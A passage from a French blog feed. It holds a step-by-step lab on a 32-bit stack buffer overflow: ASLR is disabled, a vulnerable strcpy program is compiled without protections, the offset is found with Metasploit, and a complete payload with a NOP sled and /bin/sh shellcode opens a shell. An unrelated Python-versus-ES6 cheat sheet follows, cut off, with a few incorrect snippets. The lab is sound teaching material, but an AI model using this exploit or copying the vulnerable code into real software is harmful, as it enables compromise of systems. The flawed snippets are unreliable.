<p>L&rsquo;idée de cette attaque est d&rsquo;injecter du code malveillant grâce au buffer flow, de récupérer les adresses EIP de ces instructions et d&rsquo;insérer ces adresses EIP dans une stack frame entre les registres EBP et ESP pour qu&rsquo;elles soient exécutées.</p>
<p>Pour les processeurs 32 bits:</p>
<ul>
<li>EIP: registre qui contient l&rsquo;adresse mémoire des prochaines instructions qui seront exécutées.</li>
<li>Les registres EBP (début) et ESP (fin) délimitent des stack frames. Lorsque une stack frame est pleine, elle est envoyée dans l&rsquo;EIP pour être exécutée.</li>
</ul>
<p><br/>
Démarrer un container poubelle sur un Host 32 bits. <code>--privileged</code> est indispensable pour modifier l&rsquo;ASLR et installer ensuite les outils nécessaires.</p>
<pre tabindex="0"><code>docker run -it --rm --privileged --pid=host ubuntu bash
apt update &amp;&amp; apt install -y vim gcc gcc-multilib build-essential gdb git python-dev-is-python2 curl ruby-full

# Installation de peda pour trouver l&#39;offset (nombre de caractères à insérer avant d&#39;être en buffer overflow)
git clone https://github.com/longld/peda.git ~/peda &amp;&amp; echo &#34;source ~/peda/peda.py&#34; &gt;&gt; ~/.gdbinit

# Installation de metasploit
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb &gt; msfinstall &amp;&amp; chmod 755 msfinstall &amp;&amp; ./msfinstall
mkdir Dev &amp;&amp; cd $_ &amp;&amp; git clone https://github.com/rapid7/metasploit-framework --depth 1
</code></pre><p><br/>
Désactiver l&rsquo;ASLR. ⚠ pensez à le réactiver car c&rsquo;est le host qui est modifié ici, pas le container. (Faites le test avec un nouveau container flambant neuf)</p>
<pre tabindex="0"><code>cat /proc/sys/kernel/randomize_va_space
echo 0 &gt; /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
</code></pre><p><br/>
Créer un fichier C avec une faille buffer overflow: <code>mkdir Dev &amp;&amp; $_ &amp;&amp; vim hello.c</code></p>
<pre tabindex="0"><code>#include &lt;string.h&gt;
#include &lt;stdio.h&gt;

void sayHello(char *arg) {
  char buffer[20];
  strcpy(buffer, arg);
  printf(&#34;hello %s\n&#34;, buffer);
}

int main(int argc, char** argv) {
  sayHello(argv[1]);
  return 0;
}
</code></pre><p><br/>
On compile:</p>
<pre tabindex="0"><code>gcc -z execstack -fno-stack-protector -m32 hello.c -o hello
</code></pre><br/>
<p>On exécute le binaire: <code>./hello World</code>.</p>
<pre tabindex="0"><code>hello World
</code></pre><p>On exécute le binaire: <code>./hello Olivierrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr</code> avec un débordement du buffer</p>
<pre tabindex="0"><code>hello Olivierrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Segmentation fault
</code></pre><br/>
<p>Trouver l&rsquo;offset:</p>
<pre tabindex="0"><code># Ouvrir un terminal et exécuter:
# Générer une string aléaire à utiliser comme paramètre du programme hello
cd Dev/metasploit-framework/tools/exploit
gem install rex-text
./pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

# Dans un second terminal
gdb ./hello
gdb-peda$ run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
</code></pre><p><img src="/images/buffer-overflow-offset-gdb.png" alt="image"></p>
<p>Puis dans le premier terminal exécuter:</p>
<pre tabindex="0"><code>./pattern_offset.rb -q 0Ab1
</code></pre><p><strong>[*] Exact match at offset 32</strong></p>
<p><br/>
EIP contient l&rsquo;adresse des instructions à exécuter. Donc on récupère l&rsquo;ESP (la fin) de la stack frame précédente</p>
<pre tabindex="0"><code>run $(python -c &#34;print &#39;A&#39;*32&#34;)
info frame
print $esp
</code></pre><p><strong>&ndash;&gt; 0xffffd700</strong></p>
<p>On se cale dessus et on exécute notre shell code.
On transforme &lsquo;0xffffd700&rsquo; -&gt; &lsquo;\x00\xd7\xff\xff&rsquo;</p>
<p>Pour le Shell code, rendez-vous sur  <a href="http://shell-storm.org/shellcode/files/shellcode-827.php">http://shell-storm.org/shellcode/files/shellcode-827.php</a></p>
<pre tabindex="0"><code>./hello $(python -c &#34;print &#39;A&#39;*32  + &#39;\x00\xd7\xff\xff&#39; + &#39;\x90&#39;*40 + &#39;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&#39;&#34;)
</code></pre><p>Et voilà, vous verrez apparaître un shell&hellip;</p>
<br/>
<h2 id="protection">Protection</h2>
<ul>
<li>Activer l&rsquo;ASLR (Address Space Layout Randomization)</li>
</ul>
<pre tabindex="0"><code>cat /proc/sys/kernel/randomize_va_space 
# Si 2 --&gt; c&#39;est activé; all good
</code></pre><br/>
<ul>
<li>Ecrire du code plus robuste</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>ES6 pour développeurs Python</title>
            <link>https://leandeep.com/es6-pour-d%C3%A9veloppeurs-python/</link>
            <pubDate>Wed, 16 Feb 2022 07:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/es6-pour-d%C3%A9veloppeurs-python/</guid>
            <description>&lt;p&gt;Pour que le code React, et JavaScript plus généralement, ne soit pas trop moche; il faut s&amp;rsquo;inspirer de Python ahahah&amp;hellip;&lt;/p&gt;


&lt;div style=&#34;width: 100%; float: left; position: relative;&#34;&gt;
  
  &lt;div style=&#34;float: left; width: 49%;&#34;&gt;
    &lt;div style=&#34;width:100%; text-align: center;&#34;&gt;&lt;b&gt;&lt;u&gt;Python&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;1. Variables dans des strings&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;name = &#39;olivier&#39;

value = f&#34;&#34;&#34;Hello, {name}!
Welcome!&#34;&#34;&#34;

price = 7.5
value = f&#34;Prix: {price:.2f} €&#34;
print(value)
# Prix: 7.50 €&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;2. Iterator&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;for item in [&#39;A&#39;, &#39;B&#39;, &#39;C&#39;]: 
  print(item)
  &lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;3. Sets&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;mon_set = set([&#39;titi&#39;]) 
mon_set.add(&#39;tata&#39;)
mon_set.add(&#39;toto&#39;)
&#39;titi&#39; in mon_set
len(mon_set) == 3
for elem in mon_set:
  print(elem) 
mon_set.remove(&#39;C&#39;)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;4. Generators&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;def countdown(counter):
 while counter &gt; 0:
  yield counter
  counter -= 1


for counter in countdown(10):
 print(counter)
 &lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;5. Unpacking&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;a = 1
b = 2
a, b = b, a
first, second, *the_rest = [1, 2, 3, 4]
&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;6. Lambda functions&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;sum = lambda x, y: x + y 
square = lambda x: x ** 2&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;7. Function arguments&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;from pprint import pprint

def create_post(**options):
  pprint(options)

def report(post_id, reason=&#39;not-relevant&#39;):
  pprint({&#39;post_id&#39;: post_id, &#39;reason&#39;: reason}) 

def add_tags(post_id, *tags):
  pprint({&#39;post_id&#39;: post_id, &#39;tags&#39;: tags})


create_post(title=&#39;Hello, World!&#39;, content=&#39;&#39;) 
report(42)
report(post_id=24, reason=&#39;spam&#39;)
add_tags(42, &#39;python&#39;, &#39;javascript&#39;, &#39;django&#39;)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;8. Classes et héritage&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;class Post:
 def __init__(self, id, title):
  self.id = id
  self.title = title

 def __str__(self):
  return self.title

class Article(Post):
 def __init__(self, id, title, content):
   super(Article, self).__init__(id, title)
   self.content = content

class Link(Post):
 def __init__(self, id, title, url):
  super(Link, self).__init__(id, title)
  self.url = url

 def __str__(self):
  return &#39;{} ({})&#39;.format(
    super(Link, self).__str__(),
    self.url,
  )

article = Article(1, &#39;Hello, World!&#39;,
 &#39;This is my first article.&#39;
)

link = Link(2, &#39;The Example&#39;, &#39;http://example.com&#39;)
# isinstance(article, Post) == True
# isinstance(link, Post) == True
print(link)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;9. Class properties&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;class Post(object):
 def __init__(self, id, title):
  self.id = id
  self.title = title
  self._slug = &#39;&#39;

 @property
 def slug(self):
  return self._slug

 @slug.setter
 def slug(self, value):
  self._slug = value



post = Post(1, &#39;Hello, World!&#39;)
post.slug = &#39;hello-world&#39;
print(post.slug)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;10. Liste - tous les éléments vrais&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [1, 2, 3]
all_truthy = all(items)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;11. Liste - au moins un élément vrai&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [0, 1, 2, 3]
some_truthy = any(items)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;12. Liste - itérer sur tous les éléments&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;]

for index, element in enumerate(items):
 print(f&#39;{index}: {element};&#39;)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;13. Liste - Map&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [0, 1, 2, 3]
all_doubled = list(
 map(lambda x: 2 * x, items)
)
# [0, 2, 4, 6]&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;14. Liste - Filtrer les éléments avec une fonction&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [0, 1, 2, 3]
only_even = list(
 filter(lambda x: x % 2 == 0, items)
)
# [0, 2]&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;15. Liste - Reduce avec une fonction&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;from functools import reduce

items = [1, 2, 3, 4]
total = reduce(
    lambda total, current: total + current,
items, )
# 10&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;16. Fusionner des dicts&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;d1 = {&#39;a&#39;: &#39;A&#39;, &#39;b&#39;: &#39;B&#39;}
d2 = {&#39;a&#39;: &#39;AAA&#39;, &#39;c&#39;: &#39;CCC&#39;}
merged = {**d1, **d2} # since Python 3.5
# {&#39;a&#39;: &#39;AAA&#39;, &#39;b&#39;: &#39;B&#39;, &#39;c&#39;: &#39;CCC&#39;}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;17. Parse int&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;number = int(text)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;18. One liner/ Opérateur ternaire&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;value = &#39;ADULT&#39; if age &gt;= 18 else &#39;CHILD&#39;&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;19. Object attribute&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;attribute = &#39;color&#39;
value = getattr(obj, attribute, &#39;GREEN&#39;) 
setattr(obj, attribute, value)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;20. Dictionnaire value by key&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;key = &#39;color&#39;
value = dictionary.get(key, &#39;GREEN&#39;)
dictionary[key] = value&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;21. Slice&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [1, 2, 3, 4, 5]
first_two = items[:2] 
# [1, 2]
last_two = items[-2:]
# [4, 5] 
middle_three = items[1:4]
# [2, 3, 4]&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;22. Opération sur les listes&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items1 = [&#39;A&#39;]
items2 = [&#39;B&#39;]
items = items1 + items2 
items.append(&#39;C&#39;) 
items.insert(0, &#39;D&#39;) 
first = items.pop(0) 
last = items.pop() 
items.delete(0)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;23. Joining lists of strings&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [&#39;A&#39;, &#39;B&#39;, &#39;C&#39;]
text = &#39;, &#39;.join(items) # &#39;A, B, C&#39;&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;24. JSON&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;import json
json_data = json.dumps(dictionary, indent=4) 
dictionary = json.loads(json_data)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;25. Error handling&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;class CustomException(Exception): 
  def __init__(self, message):
    self.message = message 
  
  def __str__(self):
    return self.message 

def proceed():
  raise CustomException(&#39;Error happened!&#39;)

try: 
  proceed()
except CustomException as err: 
  print(f&#39;Sorry! {err}&#39;)
finally: 
  print(&#39;Finishing&#39;)
  


  &lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;26. Import&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;import math
print(math.log(42))

from math import log
print(log(42))

from math import *
print(log(42))&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;27. Range&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;print(range(5))&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;28. Comprehensions&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;names = [c.name for c in friends if c.friendly]
&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;29. Dict creation&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;x = 42
y = 43
mon_dict = {&#34;x&#34;: x, &#34;y&#34;: y}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;30. String in list&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;my_list = [&#34;titi&#34;, &#34;tata&#34;, &#34;toto&#34;]
if &#34;titi&#34; in my_list:
    print(&#34;ok&#34;)&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;

  &lt;/div&gt;

  &lt;!-- --&gt;
  &lt;!-- --&gt;
  &lt;!-- --&gt;

  &lt;div style=&#34;float: right; width: 49%;&#34;&gt;
    &lt;div style=&#34;width:100%; text-align: center;&#34;&gt;&lt;b&gt;&lt;u&gt;ES6&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;1. Variables dans des strings&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;name = &#39;olivier&#39;;

value = `Hello, ${name}!
Welcome!`;

price = 7.5;
value = `Prix ${price.toFixed(2)} €`;
console.log(value);
// &#39;Price: 7.50&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;2. Iterator&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;for (let item of [&#39;A&#39;, &#39;B&#39;, &#39;C&#39;]) { 
  console.log(item);
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
      &lt;!-- --&gt;
      &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;3. Sets&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;mon_set = new Set([&#39;titi&#39;]);
mon_set.add(&#39;tata&#39;).add(&#39;toto&#39;);
mon_set.has(&#39;titi&#39;) === true;
mon_set.size === 3;
for (let elem of mon_set.values()) {
  console.log(elem);
} 
mon_set.delete(&#39;C&#39;);&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;4. Generators&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;function* countdown(counter) {
 while (counter &gt; 0) {
  yield counter;
  counter--;
 }
}
for (let counter of countdown(10)) {
 console.log(counter);
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;5. Unpacking&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;a = 1;
b = 2;
[a, b] = [b, a];
[first, second, ...the_rest] = [1, 2, 3, 4];&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;6. Lambda functions&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;sum = (x, y) =&gt; x + y;
square = x =&gt; Math.pow(x, 2);&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;7. Function arguments&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;function create_post(options) {
  console.log(options); 
}

function report(post_id, reason=&#39;not-relevant&#39;) { 
  console.log({post_id: post_id, reason: reason});
}

function add_tags(post_id, ...tags) { 
  console.log({post_id: post_id, tags: tags});
}

create_post({title: &#39;Hello, World!&#39;, content&#39;: &#39;&#39;}); 
report(42);
report(post_id=24, reason=&#39;spam&#39;);
add_tags(42, &#39;python&#39;, &#39;javascript&#39;, &#39;django&#39;);&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;8. Classes et héritage&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;class Post {
 constructor (id, title) {
  this.id = id;
  this.title = title;
 }
 toString() {
  return this.title;
 }
}

class Article extends Post {
 constructor (id, title, content) {
   super(id, title);
   this.content = content;
 }
}

class Link extends Post {
 constructor (id, title, url) {
  super(id, title);
  this.url = url;
 }
 toString() {
  return super.toString() + &#39; (&#39; + this.url + &#39;)&#39;;
 }
}
article = new Article(1, &#39;Hello, World!&#39;,
 &#39;This is my first article.&#39;
);
link = new Link(2, &#39;The Example&#39;, &#39;http://example.com&#39;);
// article instanceof Post === true
// link instanceof Post === true&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;9. Class properties&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;class Post {
 constructor (id, title) {
  this.id = id;
  this.title = title;
  this._slug = &#39;&#39;;
 }

 set slug(value) {
  this._slug = value;
 }

 get slug() {
  return this._slug;
 }
}

post = new Post(1, &#39;Hello, World!&#39;);
post.slug = &#39;hello-world&#39;;
console.log(post.slug);&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;10. Liste - tous les éléments vrais&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [1, 2, 3];
all_truthy = items.every(Boolean);&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;11. Liste - au moins un élément vrai&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [0, 1, 2, 3];
some_truthy = items.some(Boolean);&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;12. Liste - itérer sur tous les éléments&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;];
items.forEach(function(element, index) {
 console.log(`${index}: ${element};`);
});&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;13. Liste - Map&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [0, 1, 2, 3];
all_doubled = items.map(
 x =&gt; 2 * x
);
// [0, 2, 4, 6]&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;14. Liste - Filtrer les éléments avec une fonction&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [0, 1, 2, 3];
only_even = items.filter(
 x =&gt; x % 2 === 0
);
// [0, 2]&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;15. Liste - Reduce avec une fonction&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [1, 2, 3, 4];

total = items.reduce(
 (total, current) =&gt; total + current
);

// 10
&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;16. Fusionner des dicts&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;d1 = {a: &#39;A&#39;, b: &#39;B&#39;}
d2 = {a: &#39;AAA&#39;, c: &#39;CCC&#39;} 
merged = {...d1, ...d2};
// {a: &#39;AAA&#39;, b: &#39;B&#39;, c: &#39;CCC&#39;}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;17. Parse int&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
